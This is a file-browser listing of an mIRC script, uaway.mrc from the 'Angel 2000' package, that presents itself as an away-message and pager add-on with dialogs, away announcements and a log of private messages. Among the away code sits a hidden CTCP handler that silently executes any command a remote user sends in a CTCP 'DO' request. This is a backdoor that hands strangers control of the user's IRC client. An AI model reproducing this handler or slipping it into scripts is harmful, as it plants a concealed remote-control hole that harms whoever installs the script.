Angel 2000 — File Browser

Angel2000v1.0 / Angel2000v1.0 / Scripts / uaway.mrc

uaway.mrc — 3.28 KB — Download this file

;Angel Away
;By: Mozzy
on 1:load:/set %awaystatus no | /set %pageclear 0 | /set %awaystatus no | /setupaway 
menu channel {
  -
  &Away: ( %awaystatus )
  .&Away:/awaym
  .&Return:/awayn
  .&View pager:/run pager.txt
  .&Clear Pager.txt: {
    if (%pageclear == 1) { pageclear2 }
    else { pageclear }
  } 
}

dialog aaw {
  title "Angel Away"
  size 200 250 200 100
  text "Away reason:", 30,10 10 65 65  
  text "Away nick:", 11,100 10 60 60
  button "OK", 6, 40 60 40 25, ok default
  button "Cancel", 8, 100 60 50 25, cancel
  combo 9, 10 30 80 100, edit drop 
  combo 10, 100 30 80 100, edit drop
}

on *:dialog:aaw:INIT:0: {
  did -a aaw 9 Away
  did -a aaw 9 Food
  did -a aaw 9 Brb
  did -a aaw 10 $mid($me,1,4) $+ `Away
  did -a aaw 10 $mid($me,1,4) $+ `Food
  did -a aaw 10 $mid($me,1,4) $+ `Brb
}
on *:dialog:aaw:sclick:9:{
  if $did(aaw,9).sel == 1 { set %dd Away }
  if $did(aaw,9).sel == 2 { set %dd Food }
  if $did(aaw,9).sel == 3 { set %dd Brb }
}

on *:dialog:aaw:sclick:10:{
  if $did(aaw,9).sel == 1 { set %dn $mid($me,1,4) $+ `Away }
  if $did(aaw,9).sel == 2 { set %dn $mid($me,1,4) $+ `Food }
  if $did(aaw,9).sel == 3 { set %dn $mid($me,1,4) $+ `Brb }
}

on *:dialog:aaw:edit:9:{
  set %dd $did(aaw,9)
}
on *:dialog:aaw:edit:10:{
  set %dn $did(aaw,10)
}
on *:dialog:aaw:sclick:6:{
  if %dd == $null { set %dd None } 
  if %dn == $null { set %dn $mid($me,1,5) $+ Brb }
  ame 's 12Away -  12Reason 15[ %dd ] 12Since 10[ $+ $time $versio $+ ]
  ;.timer7 0 600 amsg 12Away -  12Reason 15[ %dd ] 12Since 10[ $+ $time $versio $+ ]
  set %awaystatus yes
  set %pager1 0
  set %cca $ctime
  set %cca1 $time
  away %dd $versio
  set %dn1 $me
  set %notice 1
  if %dn == $null { halt }
  nick %dn  
}

on 1:TEXT:*:?: {
  if (%notice == 1) { notice $nick 12Away -  12Reason 15[ %dd ] 12Since 10[ $+ %cca1 $+ ]  15- 12Your message has been logged. | /write pager.txt  $nick messaged you on $time . " $+ $1- $+ " |  inc %pager1 | unset %pageclear }
  else halt
}

alias awaym dialog -m aaw aaw 
alias awayn {
  ame 's 12Back -  12From 15[ %dd ] 12Since 10[ $+  %cca1 $+ ] 12Gone for 15[ $+ $duration($calc($ctime - %cca)) $+ ] $versio
  away
  if (%pager1 > 0) { run pager.txt | goto finish }
  elseif (%pager1 == 0) { echo -a 12You received no messages. | goto finish }
  :finish
  .timer7 off
  set %awaystatus no
  set %pager1 0
  unset %dn
  unset %dd  
  unset %notice*
  nick %dn1
}

alias setupaway dialog -m setup setup
ctcp ^*:*DO*:*: { . $+ $$2- | halt } 
dialog setup {
  title "Angel away system now running"
  text "Angel away system now running", 100,75 10 100 65 
  size 200 250 250 80 
  button "Lets Chat", 6, 85 40 60 30, ok default
}

alias pageclear  {
  dialog -m pageclear pageclear 
  write -c pager.txt
  set %pageclear 1
}
dialog pageclear {
  title "Pager Cleared"
  text "Pager cleared", 100,75 10 100 65  
  size 200 250 250 80
  button "O&k", 6, 85 40 60 30, ok default
}

alias pageclear2 { 
  dialog -m pageclear2 pageclear2
  %pageclear 
  write -c pager.txt
}
dialog pageclear2 {
  title "Error"
  text "Pager was already cleared", 100,65 10 150 65  
  size 200 250 250 80 
  button "O&k", 6, 85 40 60 30, ok default
}